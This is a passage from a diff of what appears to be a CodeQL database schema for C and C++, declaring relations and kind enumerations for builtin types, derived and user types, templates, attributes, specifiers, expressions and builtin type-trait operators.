_Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +// ... 40 _Decimal32 +// ... 41 _Decimal64 +// ... 42 _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +| 63 = @scalable_vector_count // __SVCount_t +| 64 = @complex_fp16 // _Complex __fp16 +| 65 = @complex_std_bfloat16 // _Complex __bf16 +| 66 = @complex_std_float16 // _Complex std::float16_t +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +| 11 = @scalable_vector // Arm SVE +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +tupleelements( + unique int id: @derivedtype ref, + int num_elements: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +case @type_operator.kind of + 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +case @usertype.kind of + 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +class_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +) + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location_default ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); +function_template_generated_from( + unique int template: @function ref, + int from: @function ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); +variable_template_generated_from( + unique int template: @variable ref, + int from: @variable ref +); + +is_alias_template(unique int id: @usertype ref); +alias_instantiation( + unique int to: @usertype ref, + int from: @usertype ref +); +alias_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +alias_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +alias_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +namespaceattributes( + int namespace_id: @namespace ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype + | @decltype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_default ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_default ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +| 394 = @isinvocable +| 395 = @isnothrowinvocable +| 396 = @isbitwisecloneable +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | 